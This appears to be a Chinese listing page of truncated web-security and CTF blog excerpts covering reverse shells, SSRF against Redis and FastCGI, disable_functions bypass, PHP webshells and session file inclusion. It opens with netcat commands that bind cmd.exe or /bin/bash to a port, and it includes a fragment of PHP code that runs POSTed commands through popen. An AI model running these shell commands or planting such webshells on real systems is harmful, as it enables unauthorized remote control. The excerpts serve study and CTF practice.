反弹shell

nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器nc64.exe -lvvp 1111 -e /bin/bash linux机器。

文章目录一.什么是反弹shell，以及对反弹shell作用原理的解析：3.反弹shell的本质linux文件描述符重定向输入重定向输出重定向标准输出与标准错误输出重定向文件描述符的复制exec 绑定重定向对反弹shell执行的实例分析：>&、&>常见linux提权 一.什么是反弹shell，以及对反弹shell作用原理的解析： 1.定义 通俗来说，shell就是实现用户命令的接口，通过该接口我们能实现对计算机的控制(root权限)， 而反弹shell就是将shell反弹给攻击者

反弹shell 知识铺垫 什么是shell shell是渗透中常用的名词，像getshell，webshell，反弹shell等等，都和shell相关。 getshell：获取到目标的命令执行权限 webshell：指网站后门，通过web服务进行命令执行 反弹shell：把命令行的输入输出转移到其它主机 Shell 俗称壳（用来区别于核），是指“为使用者提供操作界面”的软件（命令解析器）。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令，然后调用相应的应用程序。简单说用户通

文章目录一、介绍1.1 含义1.2 目的二、反弹方式2.1 Bash反弹shell2.1.1 适用对象2.1.2 操作方法2.1.3 命令原理 声明：以下的反弹shell的介绍只适用于学习和授权情况下的操作，请勿用于非法环境！ 一、介绍 1.1 含义   攻击者所在机器连接目标机器为正向连接（如：远程桌面、ssh等），反向连接弹shell（反弹shell为攻击者为服务端，受害者主机主动连接攻击者的服务端程序） 1.2 目的 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令

前言 之前关于SSRF打redis(redis的未授权漏洞)都没咋总结，现在总结一下。 redis简介 redis是一个key-value存储系统，是一个开源（BSD许可）的，内存中的数据结构存储系统，它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构，如 字符串（strings）， 散列（hashes）， 列表（lists）， 集合（sets）， 有序集合（sorted sets） 与范围查询， bitmaps， hyperloglogs 和 地理空间（geospatial） 索引半径查询。

定义 gopher协议是一种信息查0找系统，他将Internet上的文件组织成某种索引，方便用户从Internet的一处带到另一处。在WWW出现之前，Gopher是Internet上最主要的信息检索工具，Gopher站点也是最主要的站点，使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等，也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面 利用： 攻击内网的 Redis、Mysql、FastCGI、Ftp等等，也可以发送 GET、POST 请求

FastCGI 定义: 什么是CGI CGI全称"通用网关接口"（Common Gateway Interface），用于HTTP服务器与其它机器上的程序服务通信交流的一种工具，CGI程序须运行在网络服务器上。 传统CGI接口方式的主要缺点是性能较差，因为每次HTTP服务器遇到动态程序时都需要重启解析器来执行解析，然后结果被返回给HTTP服务器。这在处理高并发访问几乎是不可用的，因此就诞生了FastCGI。另外传统的CGI接口方式安全性也很差。 什么是FastCGI FastCGI是一个可伸缩地、高速地

文章目录前言利用Error/Exception 内置类进行 XSSError内置类Exception内置类[BJDCTF 2nd]xss之光使用 Error/Exception 内置类绕过哈希比较Error类Exception 类[2020 极客大挑战]GreatphpSoapClient类来进行SSRF 前言 之所以这个总结，极客大挑战的SoEzunser考到了php原生类来遍历目录 其实，在CTF题目中，可以利用php原生类来进行XSS,反序列化，SSRF，XXE和读文件的思路 通过遍历看一下php的内

文章目录outfile和dumpfile写shell利用条件基于union联合查询：非联合查询outfile和dumpfile的区别secure_file_prive日志getshell慢日志getshell利用general_logbinlog的介绍 outfile和dumpfile写shell 利用条件 数据库当前用户为root权限； 知道当前网站的绝对路径； PHP的GPC为 off状态；(魔术引号，GET，POST，Cookie) 写入的那个路径存在写入权限。 基于union联合查询： ?i

文章目录yii2框架 反序列化漏洞复现yii 框架搭建过程CVE-2020-15148复现链子2链子3链子4链子5链子6参考链接 yii2框架 反序列化漏洞复现 yii 框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等。 Yii

前言 有些时候，phpinfo()有disable_functions 蚁剑终端命令不起作用，就可能是df的问题 黑名单绕过 就是一些运维人员php命令执行的函数没禁用完 exec,passthru,shell_exec,eval,system,popen,proc_open(),pcntl_exec 前几种都比较简单 popen 打开进程文件指针 <?php $command=$_POST['cmd']; $handle = popen($command,"r"); while(!feof($

文章目录前言前置知识什么是CGI?什么是FastCGI?web服务器，web中间件和web容器的区别浏览器处理网页的过程1.浏览器访问静态网页过程：2.浏览器访问动态页面总结FastCGI协议的分析PHP-FPMFPM任意代码执行FPM未授权访问SSRF直接对FPM/FastCGI的攻击方法一：方法二：FTP的被动模式打FPM/FastCGIFTP的前置知识FTP 协议FTP 协议的工作方式原理：演示过程FTP打FPM情况1情况2FTP打内网redisFTP打Mysql加载恶意 .so 实现 RCE 绕过

文章目录前言黑名单绕过利用 LD_PRELOAD 环境变量LD_PRELOAD 简介利用条件劫持 getuid()劫持启动进程演示过程利用ShellShock(CVE-2014-6271)使用条件：原理简述演示过程php-json-bypass使用条件:原理简述利用脚本演示过程php-GC-bypass使用条件：原理简述利用脚本演示过程利用 Backtrace使用条件：原理简述利用脚本利用方法利用 Apache Mod CGI使用条件：原理简述演示过程2020De1CTF通过攻击 PHP-FPM理论：ctf

文章目录前言php的一句话木马ASP的一句话木马JSP的一句话木马 前言 这里对一句话木马进行一个总结，方便自己以后查询 php的一句话木马 直接上文章吧，懒得自己写了 基本的变形 https://xz.aliyun.com/t/6957#toc-0 针对php5的马，利用函数跟一些姿势的变形 https://www.sqlsec.com/2020/07/shell.html#toc-heading-2 https://xz.aliyun.com/t/2335 算是进阶的webshell免杀的内容 http

文章目录前言参考文章 前言 写这篇文章，方便自己以后查阅 参考文章 https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

open_basedir绕过

文章目录前言session的简介PHP中session的存储方式php.ini中的一些配置php中的session.upload_progress文件包含反序列化$_SESSION变量直接可控$_SESSION变量不可控参考链接 前言 本文是利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含和反序列化的总结。 也就是关于php-session的文件包含和反序列化 session的简介 session被称为“会话控制”,Session 对象存储特定用户会话所需的属性及配置信息。这样，当用

文章目录简介入门反序列化中常见的魔法函数web254web255web256web257为什么需要用urlencode?web258web259介绍web260web261web262web264web263web265web266补充知识点php中输出打印的方式 简介 php序列化和反序列用到两个函数 序列化：serialize,将对象格式化为一个新的字符串 反序列化：unserialize,将字符串还原为原来的对象。 一般在CTF中，可以通过自己写php代码，并传序列化后的代码，可以覆盖原来的代码，从而

前言 以前的LFI，就是利用一些基本的php伪协议或者日志文件包含来getshell，这儿总结一下一些进阶的一些LFI PHPSESSION文件包含 原理： 配置session.upload_progress.enabled = on表示upload_progress功能开始，也意味着当浏览器向服务器上传一个文件时，php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 我们通过PHP_SESSION_UPLOAD_PROGRESS将恶意语句写入session的文件，得知se